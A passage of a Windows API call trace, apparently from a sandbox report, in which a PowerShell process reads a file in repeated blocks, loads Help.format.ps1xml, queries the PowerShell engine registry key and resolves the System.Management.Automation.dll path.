lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.802] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.802] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.802] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.802] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.803] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.803] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.803] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.803] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.805] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.805] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.805] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.805] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.805] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.805] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.805] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.805] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.806] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.806] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.806] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.806] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.806] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.806] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.806] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.806] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.807] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.807] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.807] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.808] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.809] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.810] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.810] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.810] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.810] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.810] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.810] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x1000, lpOverlapped=0x0) returned 1 [0024.810] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0xf37, lpOverlapped=0x0) returned 1 [0024.810] ReadFile (in: hFile=0x308, lpBuffer=0x3510ed7, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3510ed7*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.810] ReadFile (in: hFile=0x308, lpBuffer=0x3511838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xcccf8, lpOverlapped=0x0 | out: lpBuffer=0x3511838*, lpNumberOfBytesRead=0xcccf8*=0x0, lpOverlapped=0x0) returned 1 [0024.810] CloseHandle (hObject=0x308) returned 1 [0024.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcca40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0024.811] SetErrorMode (uMode=0x1) returned 0x1 [0024.811] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccca0 | out: lpFileInformation=0xccca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0024.811] SetErrorMode (uMode=0x1) returned 0x1 [0024.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0024.811] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccd88 | out: phkResult=0xccd88*=0x308) returned 0x0 [0024.811] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccd0c, lpData=0x0, lpcbData=0xccd08*=0x0 | out: lpType=0xccd0c*=0x1, lpData=0x0, lpcbData=0xccd08*=0x56) returned 0x0 [0024.811] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f8330 [0024.811] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcccdc, lpData=0x1b6f8330, lpcbData=0xcccd8*=0x56 | out: lpType=0xcccdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcccd8*=0x56) returned 0x0 [0024.811] CoTaskMemFree (pv=0x1b6f8330) [0024.811] RegCloseKey (hKey=0x308) returned 0x0 [0024.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0024.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xcc880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0024.819] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x8886889c, Data2=0xf59f, Data3=0x4e00, Data4=([0]=0xae, [1]=0x5b, [2]=0x5e, [3]=0x55, [4]=0x86, [5]=0x52, [6]=0xfd, [7]=0x8e))) returned 0x0 [0024.820] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x53170c6a, Data2=0xd876, Data3=0x45ff, Data4=([0]=0x84, [1]=0x41, [2]=0x52, [3]=0x75, [4]=0xea, [5]=0xc3, [6]=0xb0, [7]=0x5b))) returned 0x0 [0024.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.831] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x5305b336, Data2=0x8c9, Data3=0x4f17, Data4=([0]=0x97, [1]=0x48, [2]=0xd4, [3]=0xeb, [4]=0x5a, [5]=0x33, [6]=0x7d, [7]=0xf8))) returned 0x0 [0024.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcba90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcba90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.832] GetFullPathNameW (in: 